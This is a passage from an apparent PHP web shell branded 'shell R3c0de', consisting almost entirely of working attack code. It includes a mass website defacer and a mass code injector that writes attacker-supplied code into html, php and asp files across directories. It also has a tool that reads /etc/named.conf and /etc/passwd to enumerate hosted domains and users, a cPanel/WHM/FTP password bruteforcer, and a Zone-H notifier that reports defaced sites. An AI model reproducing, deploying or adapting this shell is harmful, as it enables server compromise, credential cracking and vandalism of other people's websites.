1838 echo "<br><br /><br /></div>";
1839 echo '</div>';
1840 printFooter();
1841
1842}
1843
1844function actionDeface() {
1845printHeader();
1846echo "<h1>Mass Defacer by shell R3c0de</h1><div class=content>";
1847?>
1848<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1849<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1850<br>file name : <input type=text name=file size=20 value="index.php">
1851<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
1852<br><input type=submit value="Deface now"></p></form>
1853
1854<?php
1855if ($_POST['a'] == 'Deface') {
1856$mainpath = $_POST[p1];
1857$file = $_POST[p2];
1858$txtContents = $_POST[p3];
1859echo "Mass Defacer script by TeaM shell R3c0de XIIX";
1860$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
1861while ($row = readdir($dir)) {
1862$start = @fopen("$row/$file", "w+");
1863$code = $txtContents;
1864$finish = @fwrite($start, $code);
1865if ($finish) {
1866echo "$row/$file > Done<br><br>";
1867}
1868}
1869
1870}
1871echo '</div>';
1872printFooter();
1873}
1874
1875function actionInjector(){
1876 printHeader();
1877 echo '<h1>Mass Code Injector</h1>';
1878 echo '<div class="content">';
1879
1880 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
1881 function get_structure($path,$depth) {
1882 global $DS;
1883 $res = array();
1884 if(in_array(0, $depth)) { $res[] = $path; }
1885 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
1886 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
1887 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
1888 }
1889 if(in_array(2, $depth) or in_array(3, $depth)) {
1890 $tmp2 = array();
1891 foreach($tmp1 as $t){
1892 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
1893 $tmp2 = array_merge($tmp2, $tp2);
1894 }
1895 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
1896 }
1897 if(in_array(3, $depth)) {
1898 $tmp3 = array();
1899 foreach($tmp2 as $t){
1900 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
1901 $tmp3 = array_merge($tmp3, $tp3);
1902 }
1903 $res = array_merge($res,$tmp3);
1904 }
1905 return $res;
1906 }
1907
1908 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
1909 $name = $_POST['name'] ? $_POST['name'] : '*';
1910 $type = $_POST['type'] ? $_POST['type'] : 'html';
1911 $path = $_POST['path'] ? $_POST['path'] : getcwd();
1912 $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
1913 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
1914 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
1915 $dt = get_structure($path,$depth);
1916 foreach ($dt as $d) {
1917 if($mode == 'a') {
1918 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
1919 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1920 } else {
1921 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1922 }
1923 } else {
1924 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
1925 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1926 } else {
1927 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1928 }
1929 }
1930 }
1931 } else {
1932 echo '<form method="post" action="">
1933 <table align="center">
1934 <tr>
1935 <td>Directory : </td>
1936 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
1937 </tr>
1938 <tr>
1939 <td class="title">Mode : </td>
1940 <td>
1941 <select style="width: 100px;" name="mode" class="box">
1942 <option value="a">Apender</option>
1943 <option value="w">Overwriter</option>
1944 </select>
1945 </td>
1946 </tr>
1947 <tr>
1948 <td class="title">File Name & Type : </td>
1949 <td>
1950 <input type="text" style="width: 100px;" name="name" value="*"/>
1951 <select style="width: 100px;" name="type" class="box">
1952 <option value="html">HTML</option>
1953 <option value="htm">HTM</option>
1954 <option value="php" selected="selected">PHP</option>
1955 <option value="asp">ASP</option>
1956 <option value="aspx">ASPX</option>
1957 <option value="xml">XML</option>
1958 <option value="txt">TXT</option>
1959 </select></td>
1960 </tr>
1961 <tr>
1962 <td class="title">Code Inject Depth : </td>
1963 <td>
1964 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
1965 <input type="checkbox" name="depth[]" value="1"/> 1
1966 <input type="checkbox" name="depth[]" value="2"/> 2
1967 <input type="checkbox" name="depth[]" value="3"/> 3
1968 </td>
1969 </tr>
1970 <tr>
1971 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
1972 </tr>
1973 <tr>
1974 <td colspan="2" style="text-align: center;">
1975 <input type="hidden" name="a" value="Injector">
1976 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1977 <input type="hidden" name="p1">
1978 <input type="hidden" name="p2">
1979 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1980 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
1981 </tr>
1982 </table>
1983 </form>';
1984 }
1985 echo '</div>';
1986 printFooter();
1987}
1988
1989 function actionDomain() {
1990 printHeader();
1991 echo '<h1>Local Domains</h1><div class=content>';
1992 $file = @implode(@file("/etc/named.conf"));
1993 if (!$file) {
1994 die("# Can't Read [/etc/named.conf] ... Sorry ! :( ");
1995 }
1996 preg_match_all("#named/(.*?).db#", $file, $r);
1997 $domains = array_unique($r[1]);
1998 //check();
1999 //if(isset($_GET['ShowAll']))
2000 {
2001 echo "<table align=center border=1 width=59% cellpadding=5>
2002<tr><td colspan=2>[#] There are : [ <b>" . count($domains) . "</b> ] Domain(s) on this box ... * I Suggest That You Should Pwn it ;) :D*</td></tr>
2003<tr><td>Domain</td><td>User</td></tr>";
2004 foreach ($domains as $domain) {
2005 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2006 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2007 }
2008 echo "</table>";
2009 }
2010 echo '</div>';
2011 printFooter();
2012 }
2013 function actionCpanel() {
2014 printHeader();
2015 echo '<h1>cPanel Cracker</h1>';
2016 echo '<div class="content">';
2017 echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
2018 echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
2019 echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
2020 echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
2021 echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
2022 echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
2023 echo '</tr>';
2024 echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
2025 echo '<td colspan="2"><span>Crack options: </span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b> <input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b> <input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
2026 <div style="margin-top:5px;"><span>Timeout delay: </span><input type="text" name="connect_timeout" size="4" value=""/>
2027 <input type="checkbox" name="bruteforce" value="true"/> <span>Bruteforce</span>
2028 <select name="charset">
2029 <option value="all">All Letters + Numbers</option>
2030 <option value="numeric">Numbers</option>
2031 <option value="letters">Letters</option>
2032 <option value="symbols">Symbols</option>
2033 <option value="lowercase">Lower Letters</option>
2034 <option value="uppercase">Higher Letters</option>
2035 <option value="lowernumeric">Lower Letters + Numbers</option>
2036 <option value="uppernumeric">Upper Letters + Numbers</option>
2037 <option value="lowersymbols">Lower Letters + Symbols</option>
2038 <option value="uppersymbols">Upper Letters + Symbols</option>
2039 <option value="letterssymbols">All Letters + Symbols</option>
2040 <option value="numberssymbols">Numbers + Symbols</option>
2041 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
2042 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
2043 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
2044 </select></div>
2045 <div style="margin-top:5px;"><span>Min Bruteforce Length: </span><input type="text" name="min_length" size="5" value=""/> <span>Max Bruteforce Length: </span><input type="text" name="max_length" size="5" value=""/></div>
2046 <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
2047 </td></tr>';
2048 echo '</table>';
2049 echo '</div>';
2050 printFooter();
2051}
2052function actionZHposter(){
2053printHeader();
2054echo '<h1>Zone-H Notifier</h1><div class=content>';
2055
2056echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
2057<input type="text" name="p1" size="40" value="shell R3c0de" /></br>
2058<select name="p2">
2059<option >--------SELECT--------</option>
2060<option value="1">known vulnerability (i.e. unpatched system)</option>
2061<option value="2" >undisclosed (new) vulnerability</option>
2062<option value="3" >configuration / admin. mistake</option>
2063<option value="4" >brute force attack</option>
2064<option value="5" >social engineering</option>
2065<option value="6" >Web Server intrusion</option>
2066<option value="7" >Web Server external module intrusion</option>
2067<option value="8" >Mail Server intrusion</option>
2068<option value="9" >FTP Server intrusion</option>
2069<option value="10" >SSH Server intrusion</option>
2070<option value="11" >Telnet Server intrusion</option>
2071<option value="12" >RPC Server intrusion</option>
2072<option value="13" >Shares misconfiguration</option>
2073<option value="14" >Other Server intrusion</option>
2074<option value="15" >SQL Injection</option>
2075<option value="16" >URL Poisoning</option>
2076<option value="17" >File Inclusion</option>
2077<option value="18" >Other Web Application bug</option>
2078<option value="19" >Remote administrative panel access bruteforcing</option>
2079<option value="20" >Remote administrative panel access password guessing</option>
2080<option value="21" >Remote administrative panel access social engineering</option>
2081<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2082<option value="23" >Access credentials through Man In the Middle attack</option>
2083<option value="24" >Remote service password guessing</option>
2084<option value="25" >Remote service password bruteforce</option>
2085<option value="26" >Rerouting after attacking the Firewall</option>
2086<option value="27" >Rerouting after attacking the Router</option>
2087<option value="28" >DNS attack through social engineering</option>
2088<option value="29" >DNS attack through cache poisoning</option>
2089<option value="30" >Not available</option>
2090</select>
2091</br>
2092<select name="p3">
2093<option >--------SELECT--------</option>
2094<option value="1" >Heh...just for fun!</option>
2095<option value="2" >Revenge against that website</option>
2096<option value="3" >Political reasons</option>
2097<option value="4" >As a challenge</option>
2098<option value="5" >I just want to be the best defacer</option>
2099<option value="6" >Patriotism</option>
2100<option value="7" >Not available</option>
2101</select>
2102</br>
2103<textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
2104<input type="submit" value="Send Now !" />
2105</form>';
2106echo "</td></tr></table></form>";
2107
2108if($_POST['a'] == 'ZHposter')
2109{
2110 ob_start();
2111 $sub = @get_loaded_extensions();
2112 if(!in_array("curl", $sub))
2113 {
2114 die('[-] Curl Is Not Supported !! ');
2115 }
2116
2117 $hacker9 = $_POST['p1'];
2118 $method9 = $_POST['p2'];
2119 $neden9 = $_POST['p3'];
2120 $site9 = $_POST['p4'];
2121
2122 if (empty($hacker9))
2123 {
2124 die ("[#] You Must Fill In The Attacker Name !");
2125 }
2126 elseif($method9 == "--------SELECT--------")
2127 {
2128 die("[#] You Must Select The Method !");
2129 }
2130 elseif($neden9 == "--------SELECT--------")
2131 {
2132 die("[#] You Must Select The Reason");
2133 }
2134 elseif(empty($site9))
2135 {
2136 die("[#] You Must Enter the Sites List ! ");
2137 }
2138
2139 $i = 0;
2140 $sites = explode("\n", $site9);
2141 while($i < count($sites))
2142 {
2143
2144 if(substr($sites[$i], 0, 4) != "http")
2145 {
2146 $sites[$i] = "http://".$sites[$i];
2147 }
2148 ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
2149 echo "Site : ".$sites[$i]." Defaced ! </br>";
2150 ++$i;
2151 }
2152 echo "[#] Sites Sent To Zone-H :D !! ";
2153 }
2154echo '</div>';
2155printFooter();
2156}
2157if( empty($_POST['a']) )
2158 if(isset($default_action) && function_exists('action' . $default_action))
2159 $_POST['a'] = $default_action;
2160 else
2161 $_POST['a'] = 'SecInfo';
2162if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2163 call_user_func('action' . $_POST['a'])
2164
2165?>